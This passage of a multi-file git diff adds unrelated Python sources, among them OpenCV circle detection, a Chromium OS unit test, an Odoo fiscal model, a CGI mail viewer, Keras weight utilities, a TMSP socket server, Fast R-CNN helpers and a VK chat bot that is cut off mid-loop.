+#HoughCircles(image, method, dp, minDist, circles=None, param1=None, param2=None, minRadius=None, maxRadius=None)
+circles = cv2.HoughCircles(img, cv2.HOUGH_GRADIENT, 1, 20, param1=50, param2=30, minRadius=0, maxRadius=0)
+
+circles = np.uint16(np.around(circles))
+print(circles)
+
+for i in circles[0, :]:
+    # draw the outer circle
+    cv2.circle(cimg, (i[0], i[1]), i[2], (0, 255, 0), 2)
+    # draw the center of the circle
+    cv2.circle(cimg, (i[0], i[1]), 2, (0, 0, 255), 3)
+
+cv2.imshow('detected circles', cimg)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
+
+# Python: cv2.HoughCircles(image, method, dp, minDist, circles, param1, param2, minRadius, maxRadius)
+# Parameters:
+# image – 8-bit, single-channel, grayscale input image.
+# 返回结果为 Output vector of found circles. Each vector is encoded as a
+# 3-element floating-point vector (x, y, radius) .
+# circle_storage – In C function this is a memory storage that will contain
+# the output sequence of found circles.
+# method – Detection method to use. Currently, the only implemented method is
+# CV_HOUGH_GRADIENT , which is basically 21HT , described in [Yuen90].
+# dp – Inverse ratio of the accumulator resolution to the image resolution.
+# For example, if dp=1 , the accumulator has the same resolution as the input image.
+# If dp=2 , the accumulator has half as big width and height.
+# minDist – Minimum distance between the centers of the detected circles.
+# If the parameter is too small, multiple neighbor circles may be falsely
+# detected in addition to a true one. If it is too large, some circles may be missed.
+# param1 – First method-specific parameter. In case of CV_HOUGH_GRADIENT ,
+# it is the higher threshold of the two passed to the Canny() edge detector
+# (the lower one is twice smaller).
+# param2 – Second method-specific parameter. In case of CV_HOUGH_GRADIENT ,
+# it is the accumulator threshold for the circle centers at the detection stage.
+# The smaller it is, the more false circles may be detected. Circles,
+# corresponding to the larger accumulator values, will be returned first.
+# minRadius – Minimum circle radius.
+# maxRadius – Maximum circle radius.
diff --git a/pool/shard000/Python/0007804_cros_mark_as_stable_unittest.py b/pool/shard000/Python/0007804_cros_mark_as_stable_unittest.py
new file mode 100644
index 0000000000000000000000000000000000000000..feb0d3ea6a9a82c9d97af5659aa1d7772bdd11cc
--- /dev/null
+++ b/pool/shard000/Python/0007804_cros_mark_as_stable_unittest.py
@@ -0,0 +1,108 @@
+#!/usr/bin/python
+
+# Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+"""Unit tests for cros_mark_as_stable.py."""
+
+import os
+import sys
+
+sys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)),
+                                '..', '..'))
+from chromite.lib import cros_build_lib
+from chromite.lib import cros_test_lib
+from chromite.lib import git
+from chromite.scripts import cros_mark_as_stable
+
+
+# pylint: disable=W0212,R0904
+class NonClassTests(cros_test_lib.MoxTestCase):
+  def setUp(self):
+    self.mox.StubOutWithMock(cros_build_lib, 'RunCommand')
+    self.mox.StubOutWithMock(cros_build_lib, 'RunCommandCaptureOutput')
+    self._branch = 'test_branch'
+    self._target_manifest_branch = 'cros/master'
+
+  def testPushChange(self):
+    git_log = 'Marking test_one as stable\nMarking test_two as stable\n'
+    fake_description = 'Marking set of ebuilds as stable\n\n%s' % git_log
+    self.mox.StubOutWithMock(cros_mark_as_stable, '_DoWeHaveLocalCommits')
+    self.mox.StubOutWithMock(cros_mark_as_stable.GitBranch, 'CreateBranch')
+    self.mox.StubOutWithMock(cros_mark_as_stable.GitBranch, 'Exists')
+    self.mox.StubOutWithMock(git, 'PushWithRetry')
+    self.mox.StubOutWithMock(git, 'GetTrackingBranch')
+    self.mox.StubOutWithMock(git, 'SyncPushBranch')
+    self.mox.StubOutWithMock(git, 'CreatePushBranch')
+    self.mox.StubOutWithMock(git, 'RunGit')
+
+    cros_mark_as_stable._DoWeHaveLocalCommits(
+        self._branch, self._target_manifest_branch, '.').AndReturn(True)
+    git.GetTrackingBranch('.', for_push=True).AndReturn(
+        ['gerrit', 'refs/remotes/gerrit/master'])
+    git.SyncPushBranch('.', 'gerrit', 'refs/remotes/gerrit/master')
+    cros_mark_as_stable._DoWeHaveLocalCommits(
+        self._branch, 'refs/remotes/gerrit/master', '.').AndReturn(True)
+    result = cros_build_lib.CommandResult(output=git_log)
+    cros_build_lib.RunCommandCaptureOutput(
+        ['git', 'log', '--format=format:%s%n%n%b',
+         'refs/remotes/gerrit/master..%s' % self._branch],
+        cwd='.').AndReturn(result)
+    git.CreatePushBranch('merge_branch', '.')
+    git.RunGit('.', ['merge', '--squash', self._branch])
+    git.RunGit('.', ['commit', '-m', fake_description])
+    git.RunGit('.', ['config', 'push.default', 'tracking'])
+    git.PushWithRetry('merge_branch', '.', dryrun=False)
+    self.mox.ReplayAll()
+    cros_mark_as_stable.PushChange(self._branch, self._target_manifest_branch,
+                                   False, '.')
+    self.mox.VerifyAll()
+
+
+class GitBranchTest(cros_test_lib.MoxTestCase):
+
+  def setUp(self):
+    # Always stub RunCommmand out as we use it in every method.
+    self.mox.StubOutWithMock(cros_build_lib, 'RunCommand')
+    self.mox.StubOutWithMock(cros_build_lib, 'RunCommandCaptureOutput')
+    self._branch = self.mox.CreateMock(cros_mark_as_stable.GitBranch)
+    self._branch_name = 'test_branch'
+    self._branch.branch_name = self._branch_name
+    self._target_manifest_branch = 'cros/test'
+    self._branch.tracking_branch = self._target_manifest_branch
+    self._branch.cwd = '.'
+
+  def testCheckoutCreate(self):
+    # Test init with no previous branch existing.
+    self._branch.Exists(self._branch_name).AndReturn(False)
+    cros_build_lib.RunCommandCaptureOutput(['repo', 'start', self._branch_name,
+                                            '.'], print_cmd=False, cwd='.')
+    self.mox.ReplayAll()
+    cros_mark_as_stable.GitBranch.Checkout(self._branch)
+    self.mox.VerifyAll()
+
+  def testCheckoutNoCreate(self):
+    # Test init with previous branch existing.
+    self._branch.Exists(self._branch_name).AndReturn(True)
+    cros_build_lib.RunCommandCaptureOutput(['git', 'checkout', '-f',
+                                            self._branch_name], print_cmd=False,
+                                           cwd='.')
+    self.mox.ReplayAll()
+    cros_mark_as_stable.GitBranch.Checkout(self._branch)
+    self.mox.VerifyAll()
+
+  def testExists(self):
+    branch = cros_mark_as_stable.GitBranch(self._branch_name,
+                                           self._target_manifest_branch, '.')
+    # Test if branch exists that is created
+    result = cros_build_lib.CommandResult(output=self._branch_name + '\n')
+    cros_build_lib.RunCommandCaptureOutput(['git', 'branch'], print_cmd=False,
+                                           cwd='.').AndReturn(result)
+    self.mox.ReplayAll()
+    self.assertTrue(branch.Exists())
+    self.mox.VerifyAll()
+
+
+if __name__ == '__main__':
+  cros_test_lib.main()
diff --git a/pool/shard000/Python/0007811_cest.py b/pool/shard000/Python/0007811_cest.py
new file mode 100644
index 0000000000000000000000000000000000000000..4ab87b0d642d546d6c0d0bd89add4461e29bf409
--- /dev/null
+++ b/pool/shard000/Python/0007811_cest.py
@@ -0,0 +1,70 @@
+# Copyright (C) 2013  Renato Lima - Akretion <renato.lima@akretion.com.br>
+# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html
+
+from odoo import api, fields, models
+
+from ..constants.fiscal import CEST_SEGMENT
+from ..tools import misc
+
+
+class Cest(models.Model):
+    _name = 'l10n_br_fiscal.cest'
+    _inherit = 'l10n_br_fiscal.data.product.abstract'
+    _description = 'CEST'
+
+    code = fields.Char(
+        size=9)
+
+    code_unmasked = fields.Char(
+        size=7)
+
+    name = fields.Text(
+        string='Name',
+        required=True,
+        index=True)
+
+    item = fields.Char(
+        string='Item',
+        required=True)
+
+    segment = fields.Selection(
+        selection=CEST_SEGMENT,
+        string='Segment',
+        required=True)
+
+    product_tmpl_ids = fields.One2many(
+        inverse_name='cest_id')
+
+    ncms = fields.Char(
+        string='NCM')
+
+    ncm_ids = fields.Many2many(
+        comodel_name='l10n_br_fiscal.ncm',
+        relation='fiscal_cest_ncm_rel',
+        colunm1='cest_id',
+        colunm2='ncm_id',
+        readonly=True,
+        string='NCMs')
+
+    @api.model
+    def create(self, values):
+        create_super = super(Cest, self).create(values)
+        if 'ncms' in values.keys():
+            create_super.with_context(do_not_write=True).action_search_ncms()
+        return create_super
+
+    @api.multi
+    def write(self, values):
+        write_super = super(Cest, self).write(values)
+        do_not_write = self.env.context.get('do_not_write')
+        if 'ncms' in values.keys() and not do_not_write:
+            self.with_context(do_not_write=True).action_search_ncms()
+        return write_super
+
+    @api.multi
+    def action_search_ncms(self):
+        ncm = self.env['l10n_br_fiscal.ncm']
+        for r in self:
+            if r.ncms:
+                domain = misc.domain_field_codes(field_codes=r.ncms)
+                r.ncm_ids = ncm.search(domain)
diff --git a/pool/shard000/Python/0007812_testMatchGui.py b/pool/shard000/Python/0007812_testMatchGui.py
new file mode 100644
index 0000000000000000000000000000000000000000..0b369845a2a7c1026e04710d991c67777ff81fe3
--- /dev/null
+++ b/pool/shard000/Python/0007812_testMatchGui.py
@@ -0,0 +1,18 @@
+import image
+import api
+
+im = image.loadImage('test\\resource\\auto1_2_select_team.png')
+t = api.loadImageByKey('TeamSelection', 'tag2Selected')
+
+center, v = image.matchTemplateExact(im, t)
+tsize = image.getImageSize(t)
+pt1 = (center[0] - tsize[0] // 2,
+       center[1] - tsize[1] // 2)
+pt2 = (center[0] + tsize[0] // 2,
+       center[1] + tsize[1] // 2)
+rst = image.drawBox(im, pt1, pt2)
+image.showImage(rst)
+image.waitKeyboard()
+image.releaseAllWindows()
+print(center)
+print(v)
diff --git a/pool/shard000/Python/0007814_0001_initial.py b/pool/shard000/Python/0007814_0001_initial.py
new file mode 100644
index 0000000000000000000000000000000000000000..03e703edd2f096372185c2052acbaf21307b845a
--- /dev/null
+++ b/pool/shard000/Python/0007814_0001_initial.py
@@ -0,0 +1,26 @@
+# -*- coding: utf-8 -*-
+# Generated by Django 1.9.7 on 2016-07-08 15:45
+from __future__ import unicode_literals
+
+from django.db import migrations
+import share.robot
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('share', '0001_initial'),
+        ('djcelery', '0001_initial'),
+    ]
+
+    operations = [
+        migrations.RunPython(
+            code=share.robot.RobotUserMigration('ru.cyberleninka'),
+        ),
+        migrations.RunPython(
+            code=share.robot.RobotOauthTokenMigration('ru.cyberleninka'),
+        ),
+        migrations.RunPython(
+            code=share.robot.RobotScheduleMigration('ru.cyberleninka'),
+        ),
+    ]
diff --git a/pool/shard000/Python/0007815_onViewListLink.py b/pool/shard000/Python/0007815_onViewListLink.py
new file mode 100644
index 0000000000000000000000000000000000000000..78d31c4bf22381362e545d34e4fc774ee86de81c
--- /dev/null
+++ b/pool/shard000/Python/0007815_onViewListLink.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+"""
+################################################################################
+On user click of message link in main selection list: make mail view page;
+
+cgi.FieldStorage undoes any urllib.parse escapes in link's input parameters 
+(%xx and '+' for spaces already undone);  in 2.0+ we only fetch 1 mail here, not
+the entire list again;  in 2.0+ we also find mail's main text part intelligently
+instead of blindly displaying full text (with any attachments), and we generate
+links to attachment files saved on the server;  saved attachment files only work
+for 1 user and 1 message;  most 2.0 enhancements inherited from mailtools pkg;
+
+3.0: mailtools decodes the message's full-text bytes prior to email parsing;
+3.0: for display, mailtools decodes main text, commonhtml decodes message hdrs;
+################################################################################
+"""
+
+import cgi
+import commonhtml, secret
+from externs import mailtools
+#commonhtml.dumpstatepage(0)
+
+def saveAttachments(message, parser, savedir='partsdownload'):
+    """
+    save fetched email's parts to files on
+    server to be viewed in user's web browser
+    """
+    import os
+    if not os.path.exists(savedir):            # in CGI script's cwd on server
+        os.mkdir(savedir)                      # will open per your browser
+    for filename in os.listdir(savedir):       # clean up last message: temp!
+        dirpath = os.path.join(savedir, filename)
+        os.remove(dirpath)
+    typesAndNames = parser.saveParts(savedir, message)
+    filenames = [fname for (ctype, fname) in typesAndNames]
+    for filename in filenames:
+        os.chmod(filename, 0o666)              # some srvrs may need read/write
+    return filenames
+
+form = cgi.FieldStorage()
+user, pswd, site = commonhtml.getstandardpopfields(form)
+pswd = secret.decode(pswd)
+
+try:
+    msgnum   = form['mnum'].value                               # from URL link
+    parser   = mailtools.MailParser()
+    fetcher  = mailtools.SilentMailFetcher(site, user, pswd)
+    fulltext = fetcher.downloadMessage(int(msgnum))             # don't eval!
+    message  = parser.parseMessage(fulltext)                    # email pkg Message
+    parts    = saveAttachments(message, parser)                 # for URL links
+    mtype, content = parser.findMainText(message)               # first txt part
+    commonhtml.viewpage(msgnum, message, content, form, parts)  # encoded pswd
+except:
+    commonhtml.errorpage('Error loading message')
diff --git a/pool/shard000/Python/0007817_save_load_utils.py b/pool/shard000/Python/0007817_save_load_utils.py
new file mode 100644
index 0000000000000000000000000000000000000000..71202c9e0ed8ce2411c0ca322caca44d146dd96f
--- /dev/null
+++ b/pool/shard000/Python/0007817_save_load_utils.py
@@ -0,0 +1,107 @@
+import warnings
+
+import h5py
+import keras.backend as K
+from keras import optimizers
+from keras.engine import saving
+
+
+def save_all_weights(model, filepath, include_optimizer=True):
+    """
+    Save model weights and optimizer weights but not configuration to a HDF5 file.
+    Functionally between `save` and `save_weights`.
+
+    The HDF5 file contains:
+        - the model's weights
+        - the model's optimizer's state (if any)
+    If you have a complicated model or set of models that do not serialize
+    to JSON correctly, use this method.
+    # Arguments
+        model: Keras model instance to be saved.
+        filepath: String, path where to save the model.
+        include_optimizer: If True, save optimizer's state together.
+    # Raises
+        ImportError: if h5py is not available.
+    """
+    if h5py is None:
+        raise ImportError('`save_all_weights` requires h5py.')
+
+    with h5py.File(filepath, 'w') as f:
+        model_weights_group = f.create_group('model_weights')
+        model_layers = model.layers
+        saving.save_weights_to_hdf5_group(model_weights_group, model_layers)
+
+        if include_optimizer and hasattr(model, 'optimizer') and model.optimizer:
+            if isinstance(model.optimizer, optimizers.TFOptimizer):
+                warnings.warn(
+                    'TensorFlow optimizers do not '
+                    'make it possible to access '
+                    'optimizer attributes or optimizer state '
+                    'after instantiation. '
+                    'As a result, we cannot save the optimizer '
+                    'as part of the model save file.'
+                    'You will have to compile your model again after loading it. '
+                    'Prefer using a Keras optimizer instead '
+                    '(see keras.io/optimizers).')
+            else:
+                # Save optimizer weights.
+                symbolic_weights = getattr(model.optimizer, 'weights')
+                if symbolic_weights:
+                    optimizer_weights_group = f.create_group('optimizer_weights')
+                    weight_values = K.batch_get_value(symbolic_weights)
+                    weight_names = []
+                    for i, (w, val) in enumerate(zip(symbolic_weights, weight_values)):
+                        # Default values of symbolic_weights is /variable for theano
+                        if K.backend() == 'theano':
+                            if hasattr(w, 'name') and w.name != "/variable":
+                                name = str(w.name)
+                            else:
+                                name = 'param_' + str(i)
+                        else:
+                            if hasattr(w, 'name') and w.name:
+                                name = str(w.name)
+                            else:
+                                name = 'param_' + str(i)
+                        weight_names.append(name.encode('utf8'))
+                    optimizer_weights_group.attrs['weight_names'] = weight_names
+                    for name, val in zip(weight_names, weight_values):
+                        param_dset = optimizer_weights_group.create_dataset(
+                            name,
+                            val.shape,
+                            dtype=val.dtype)
+                        if not val.shape:
+                            # scalar
+                            param_dset[()] = val
+                        else:
+                            param_dset[:] = val
+
+
+def load_all_weights(model, filepath, include_optimizer=True):
+    """Loads the weights of a model saved via `save_all_weights`.
+    If model has been compiled, optionally load its optimizer's weights.
+    # Arguments
+        model: instantiated model with architecture matching the saved model.
+            Compile the model beforehand if you want to load optimizer weights.
+        filepath: String, path to the saved model.
+    # Returns
+        None. The model will have its weights updated.
+    # Raises
+        ImportError: if h5py is not available.
+        ValueError: In case of an invalid savefile.
+    """
+    if h5py is None:
+        raise ImportError('`load_all_weights` requires h5py.')
+
+    with h5py.File(filepath, mode='r') as f:
+        # set weights
+        saving.load_weights_from_hdf5_group(f['model_weights'], model.layers)
+        # Set optimizer weights.
+        if (include_optimizer
+                and 'optimizer_weights' in f and hasattr(model, 'optimizer')
+                and model.optimizer):
+            optimizer_weights_group = f['optimizer_weights']
+            optimizer_weight_names = [n.decode('utf8') for n in
+                                      optimizer_weights_group.attrs['weight_names']]
+            optimizer_weight_values = [optimizer_weights_group[n] for n in
+                                       optimizer_weight_names]
+            model.optimizer.set_weights(optimizer_weight_values)
diff --git a/pool/shard000/Python/0007820_server.py b/pool/shard000/Python/0007820_server.py
new file mode 100644
index 0000000000000000000000000000000000000000..03735bb378dec7e6c8871c928b3d5dce6a60d18b
--- /dev/null
+++ b/pool/shard000/Python/0007820_server.py
@@ -0,0 +1,196 @@
+import socket
+import select
+import sys
+import logging
+
+from .wire import decode_varint, encode
+from .reader import BytesBuffer
+from .msg import RequestDecoder, message_types
+
+# hold the asyncronous state of a connection
+# ie. we may not get enough bytes on one read to decode the message
+
+logger = logging.getLogger(__name__)
+
+class Connection():
+
+    def __init__(self, fd, app):
+        self.fd = fd
+        self.app = app
+        self.recBuf = BytesBuffer(bytearray())
+        self.resBuf = BytesBuffer(bytearray())
+        self.msgLength = 0
+        self.decoder = RequestDecoder(self.recBuf)
+        self.inProgress = False  # are we in the middle of a message
+
+    def recv(this):
+        data = this.fd.recv(1024)
+        if not data:  # what about len(data) == 0
+            raise IOError("dead connection")
+        this.recBuf.write(data)
+
+# TMSP server responds to messges by calling methods on the app
+
+class TMSPServer():
+
+    def __init__(self, app, port=5410):
+        self.app = app
+        # map conn file descriptors to (app, reqBuf, resBuf, msgDecoder)
+        self.appMap = {}
+
+        self.port = port
+        self.listen_backlog = 10
+
+        self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.listener.setblocking(0)
+        self.listener.bind(('', port))
+
+        self.listener.listen(self.listen_backlog)
+
+        self.shutdown = False
+
+        self.read_list = [self.listener]
+        self.write_list = []
+
+    def handle_new_connection(self, r):
+        new_fd, new_addr = r.accept()
+        new_fd.setblocking(0)  # non-blocking
+        self.read_list.append(new_fd)
+        self.write_list.append(new_fd)
+        print('new connection to', new_addr)
+
+        self.appMap[new_fd] = Connection(new_fd, self.app)
+
+    def handle_conn_closed(self, r):
+        self.read_list.remove(r)
+        self.write_list.remove(r)
+        r.close()
+        print("connection closed")
+
+    def handle_recv(self, r):
+        #  app, recBuf, resBuf, conn
+        conn = self.appMap[r]
+        while True:
+            try:
+                print("recv loop")
+                # check if we need more data first
+                if conn.inProgress:
+                    if (conn.msgLength == 0 or conn.recBuf.size() < conn.msgLength):
+                        conn.recv()
+                else:
+                    if conn.recBuf.size() == 0:
+                        conn.recv()
+
+                conn.inProgress = True
+
+                # see if we have enough to get the message length
+                if conn.msgLength == 0:
+                    ll = conn.recBuf.peek()
+                    if conn.recBuf.size() < 1 + ll:
+                        # we don't have enough bytes to read the length yet
+                        return
+                    print("decoding msg length")
+                    conn.msgLength = decode_varint(conn.recBuf)
+
+                # see if we have enough to decode the message
+                if conn.recBuf.size() < conn.msgLength:
+                    return
+
+                # now we can decode the message
+
+                # first read the request type and get the particular msg
+                # decoder
+                typeByte = conn.recBuf.read(1)
+                typeByte = int(typeByte[0])
+                resTypeByte = typeByte + 0x10
+                req_type = message_types[typeByte]
+
+                if req_type == "flush":
+                    # messages are length prefixed
+                    conn.resBuf.write(encode(1))
+                    conn.resBuf.write([resTypeByte])
+                    conn.fd.send(conn.resBuf.buf)
+                    conn.msgLength = 0
+                    conn.inProgress = False
+                    conn.resBuf = BytesBuffer(bytearray())
+                    return
+
+                decoder = getattr(conn.decoder, req_type)
+
+                print("decoding args")
+                req_args = decoder()
+                print("got args", req_args)
+
+                # done decoding message
+                conn.msgLength = 0
+                conn.inProgress = False
+
+                req_f = getattr(conn.app, req_type)
+                if req_args is None:
+                    res = req_f()
+                elif isinstance(req_args, tuple):
+                    res = req_f(*req_args)
+                else:
+                    res = req_f(req_args)
+
+                if isinstance(res, tuple):
+                    res, ret_code = res
+                else:
+                    ret_code = res
+                    res = None
+
+                print("called", req_type, "ret code:", ret_code, 'res:', res)
+                if ret_code != 0:
+                    print("non-zero retcode:", ret_code)
+
+                if req_type in ("echo", "info"):  # these dont return a ret code
+                    enc = encode(res)
+                    # messages are length prefixed
+                    conn.resBuf.write(encode(len(enc) + 1))
+                    conn.resBuf.write([resTypeByte])
+                    conn.resBuf.write(enc)
+                else:
+                    enc, encRet = encode(res), encode(ret_code)
+                    # messages are length prefixed
+                    conn.resBuf.write(encode(len(enc) + len(encRet) + 1))
+                    conn.resBuf.write([resTypeByte])
+                    conn.resBuf.write(encRet)
+                    conn.resBuf.write(enc)
+            except IOError as e:
+                print("IOError on reading from connection:", e)
+                self.handle_conn_closed(r)
+                return
+            except Exception as e:
+                logger.exception("error reading from connection")
+                self.handle_conn_closed(r)
+                return
+
+    def main_loop(self):
+        while not self.shutdown:
+            r_list, w_list, _ = select.select(
+                self.read_list, self.write_list, [], 2.5)
+
+            for r in r_list:
+                if (r == self.listener):
+                    try:
+                        self.handle_new_connection(r)
+                        # undo adding to read list ...
+                    except NameError as e:
+                        print("Could not connect due to NameError:", e)
+                    except TypeError as e:
+                        print("Could not connect due to TypeError:", e)
+                    except:
+                        print("Could not connect due to unexpected error:", sys.exc_info()[0])
+                else:
+                    self.handle_recv(r)
+
+    def handle_shutdown(self):
+        for r in self.read_list:
+            r.close()
+        for w in self.write_list:
+            try:
+                w.close()
+            except Exception as e:
+                print(e)  # TODO: add logging
+        self.shutdown = True
diff --git a/pool/shard000/Python/0007821_roidb.py b/pool/shard000/Python/0007821_roidb.py
new file mode 100644
index 0000000000000000000000000000000000000000..ed21285d44dbdb7a160bcfc6809dbf72a0afac90
--- /dev/null
+++ b/pool/shard000/Python/0007821_roidb.py
@@ -0,0 +1,148 @@
+# --------------------------------------------------------
+# Fast R-CNN
+# Copyright (c) 2015 Microsoft
+# Licensed under The MIT License [see LICENSE for details]
+# Written by Ross Girshick
+# --------------------------------------------------------
+
+"""Transform a roidb into a trainable roidb by adding a bunch of metadata."""
+
+import numpy as np
+
+import PIL
+
+# TODO: make fast_rcnn irrelevant
+# >>>> obsolete, because it depends on sth outside of this project
+from ..fast_rcnn.config import cfg
+from ..fast_rcnn.bbox_transform import bbox_transform
+# <<<< obsolete
+from ..utils.cython_bbox import bbox_overlaps
+
+def prepare_roidb(imdb):
+    """Enrich the imdb's roidb by adding some derived quantities that
+    are useful for training. This function precomputes the maximum
+    overlap, taken over ground-truth boxes, between each ROI and
+    each ground-truth box. The class with maximum overlap is also
+    recorded.
+    """
+    sizes = [PIL.Image.open(imdb.image_path_at(i)).size
+             for i in range(imdb.num_images)]
+    roidb = imdb.roidb
+    for i in range(len(imdb.image_index)):
+        roidb[i]['image'] = imdb.image_path_at(i)
+        roidb[i]['width'] = sizes[i][0]
+        roidb[i]['height'] = sizes[i][1]
+        # need gt_overlaps as a dense array for argmax
+        gt_overlaps = roidb[i]['gt_overlaps'].toarray()
+        # max overlap with gt over classes (columns)
+        max_overlaps = gt_overlaps.max(axis=1)
+        # gt class that had the max overlap
+        max_classes = gt_overlaps.argmax(axis=1)
+        roidb[i]['max_classes'] = max_classes
+        roidb[i]['max_overlaps'] = max_overlaps
+        # sanity checks
+        # max overlap of 0 => class should be zero (background)
+        zero_inds = np.where(max_overlaps == 0)[0]
+        assert all(max_classes[zero_inds] == 0)
+        # max overlap > 0 => class should not be zero (must be a fg class)
+        nonzero_inds = np.where(max_overlaps > 0)[0]
+        assert all(max_classes[nonzero_inds] != 0)
+
+def add_bbox_regression_targets(roidb):
+    """
+    Add information needed to train bounding-box regressors.
+    For each roi find the corresponding gt box, and compute the distance.
+    then normalize the distance into Gaussian by minus mean and divided by std
+    """
+    assert len(roidb) > 0
+    assert 'max_classes' in roidb[0], 'Did you call prepare_roidb first?'
+
+    num_images = len(roidb)
+    # Infer number of classes from the number of columns in gt_overlaps
+    num_classes = roidb[0]['gt_overlaps'].shape[1]
+    for im_i in range(num_images):
+        rois = roidb[im_i]['boxes']
+        max_overlaps = roidb[im_i]['max_overlaps']
+        max_classes = roidb[im_i]['max_classes']
+        roidb[im_i]['bbox_targets'] = \
+                _compute_targets(rois, max_overlaps, max_classes)
+
+    if cfg.TRAIN.BBOX_NORMALIZE_TARGETS_PRECOMPUTED:
+        # Use fixed / precomputed "means" and "stds" instead of empirical values
+        means = np.tile(
+                np.array(cfg.TRAIN.BBOX_NORMALIZE_MEANS), (num_classes, 1))
+        stds = np.tile(
+                np.array(cfg.TRAIN.BBOX_NORMALIZE_STDS), (num_classes, 1))
+    else:
+        # Compute values needed for means and stds
+        # var(x) = E(x^2) - E(x)^2
+        class_counts = np.zeros((num_classes, 1)) + cfg.EPS
+        sums = np.zeros((num_classes, 4))
+        squared_sums = np.zeros((num_classes, 4))
+        for im_i in range(num_images):
+            targets = roidb[im_i]['bbox_targets']
+            for cls in range(1, num_classes):
+                cls_inds = np.where(targets[:, 0] == cls)[0]
+                if cls_inds.size > 0:
+                    class_counts[cls] += cls_inds.size
+                    sums[cls, :] += targets[cls_inds, 1:].sum(axis=0)
+                    squared_sums[cls, :] += \
+                            (targets[cls_inds, 1:] ** 2).sum(axis=0)
+
+        means = sums / class_counts
+        stds = np.sqrt(squared_sums / class_counts - means ** 2)
+        # too small number will cause nan error
+        assert np.min(stds) < 0.01, \
+            'Boxes std is too small, std:{}'.format(stds)
+
+    print('bbox target means:')
+    print(means)
+    print(means[1:, :].mean(axis=0)) # ignore bg class
+    print('bbox target stdevs:')
+    print(stds)
+    print(stds[1:, :].mean(axis=0)) # ignore bg class
+
+    # Normalize targets
+    if cfg.TRAIN.BBOX_NORMALIZE_TARGETS:
+        print("Normalizing targets")
+        for im_i in range(num_images):
+            targets = roidb[im_i]['bbox_targets']
+            for cls in range(1, num_classes):
+                cls_inds = np.where(targets[:, 0] == cls)[0]
+                roidb[im_i]['bbox_targets'][cls_inds, 1:] -= means[cls, :]
+                roidb[im_i]['bbox_targets'][cls_inds, 1:] /= stds[cls, :]
+    else:
+        print("NOT normalizing targets")
+
+    # These values will be needed for making predictions
+    # (the predicts will need to be unnormalized and uncentered)
+    return means.ravel(), stds.ravel()
+
+def _compute_targets(rois, overlaps, labels):
+    """
+    Compute bounding-box regression targets for an image.
+    for each roi find the corresponding gt_box, then compute the distance.
+    """
+    # Indices of ground-truth ROIs
+    gt_inds = np.where(overlaps == 1)[0]
+    if len(gt_inds) == 0:
+        # Bail if the image has no ground-truth ROIs
+        return np.zeros((rois.shape[0], 5), dtype=np.float32)
+    # Indices of examples for which we try to make predictions
+    ex_inds = np.where(overlaps >= cfg.TRAIN.BBOX_THRESH)[0]
+
+    # Get IoU overlap between each ex ROI and gt ROI
+    ex_gt_overlaps = bbox_overlaps(
+        np.ascontiguousarray(rois[ex_inds, :], dtype=np.float),
+        np.ascontiguousarray(rois[gt_inds, :], dtype=np.float))
+
+    # Find which gt ROI each ex ROI has max overlap with:
+    # this will be the ex ROI's gt target
+    gt_assignment = ex_gt_overlaps.argmax(axis=1)
+    gt_rois = rois[gt_inds[gt_assignment], :]
+    ex_rois = rois[ex_inds, :]
+
+    targets = np.zeros((rois.shape[0], 5), dtype=np.float32)
+    targets[ex_inds, 0] = labels[ex_inds]
+    targets[ex_inds, 1:] = bbox_transform(ex_rois, gt_rois)
+    return targets
diff --git a/pool/shard000/Python/0007823_main.py b/pool/shard000/Python/0007823_main.py
new file mode 100644
index 0000000000000000000000000000000000000000..060031f609bd0907e5d50b929f5b6c5d88f3cc52
--- /dev/null
+++ b/pool/shard000/Python/0007823_main.py
@@ -0,0 +1,90 @@
+#!/usr/bin/env python3
+#-*- coding: UTF-8 -*-
+import vk, os
+from time import sleep
+import requests as req
+from lxml import html
+from random import randint
+
+def bash(id, mode='u'):
+    try:
+        r = req.get('http://bash.im/random')
+        doc = html.document_fromstring(r.text)
+        bash = '\n'.join(doc.xpath('//*[@id="body"]/div[3]/div[@class="text"]/text()'))
+        if mode == 'c':
+            vkapi.messages.send(chat_id=id, message=bash)
+        else:
+           vkapi.messages.send(user_id=id, message=bash)
+    except Exception as e:
+        print(e)
+
+def cgra(id, mode='u'):
+    try:
+        r = req.get('http://codeguida.com/')
+        doc = html.document_fromstring(r.text)
+        last_article = doc.xpath('/html/body/div[3]/section/div[1]/div[1]/article[1]/div/a/@href')[0]
+        last_id = int(last_article.split('/')[-2])
+        random_id = randint(1, last_id)
+        r = req.get('http://codeguida.com/post/{}/'.format(random_id))
+        doc = html.document_fromstring(r.text)
+        title = doc.xpath('/html/body/div[3]/div[2]/section/h1/text()')[0]
+        message = '{0}\n\nhttp://codeguida.com/post/{1}/'.format(title, random_id)
+        if mode == 'c':
+            vkapi.messages.send(chat_id=id, message=message)
+        else:
+           vkapi.messages.send(user_id=id, message=message)
+    except Exception as e:
+        print(e)
+
+def print_help(id, mode='u'):
+    try:
+        message = """=== System \"Enotik\" ===
+        Available commands:
+        &#_9989; ~bash~ -- random quote from bash.im 
+        &#_9989; ~cgra~ -- random article from Codeguida
+        &#_9989; ~help~ -- show this help
+
+        Author: OlegWock, 2015, specifically for Codeguida"""
+        if mode == 'c':
+            vkapi.messages.send(chat_id=id, message=message)
+        else:
+           vkapi.messages.send(user_id=id, message=message)
+    except Exception as e:
+        print(e)
+
+
+# Авторизація
+vkapi = vk.EnterCaptchaAPI(access_token=os.environ["VK_TOKEN"])
+
+messages = vkapi.messages.get(count=1)
+last = messages['items'][0]['id']
+
+while True:
+    try:
+        messages = vkapi.messages.get(last_message_id=last, timeout=5)
+    except Exception as e:
+        print(e)
+        sleep(4)
+        continue
+    if not messages['items']:
+        sleep(4)
+        continue
+    last = messages['items'][0]['id']
+    for message in messages['items']:
+        if "~bash~" in message['body']:
+            if 'chat_id' in message:
+                bash(message['chat_id'], 'c')
+            else:
+                bash(message['user_id'])
+        if "~cgra~" in message['body']:
+            if 'chat_id' in message:
+                cgra(message['chat_id'], 'c')
+            else:
+                cgra(message['user_id'])
+        if "~help~" in message['body']:
